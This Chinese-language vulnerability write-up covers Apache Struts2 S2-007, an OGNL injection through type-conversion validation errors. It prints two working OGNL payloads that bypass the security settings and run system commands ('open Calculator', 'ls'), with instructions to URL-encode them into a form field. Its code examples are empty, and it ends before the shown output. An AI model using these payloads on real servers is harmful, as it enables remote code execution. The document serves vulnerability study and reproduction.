S2-007 远程代码执行漏洞
受影响的版本:2.0.0 - 2.2.3
详情:http ://struts.apache.org/docs/s2-007.html
参考
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
<ActionName> -validation.xml
配置验证规则时。如果类型验证转换失败,服务器会拼接用户提交的表单值字符串,然后进行OGNL表达式解析并返回。
例如这里是一个UserAction
:
1 | (...) |
和UserAction-validation.xml
配置:
1 |
|
当用户age
以 astr
而不是a 提交时int
,服务器会与代码拼接"'" + value + "'"
,然后使用 OGNL 表达式对其进行解析。要想成功expliot,我们需要找到一个配置了类似验证规则的表单域来进行转换错误。然后就可以像注入 SQL 单引号一样注入任何 OGNL 表达式代码。
绕过安全配置的有效负载:
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + ' |
漏洞复现
这是可以执行任意代码的EXP:
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())) + ' |
需要URL编码后,将EXP放入输入框(age),然后得到命令执行结果: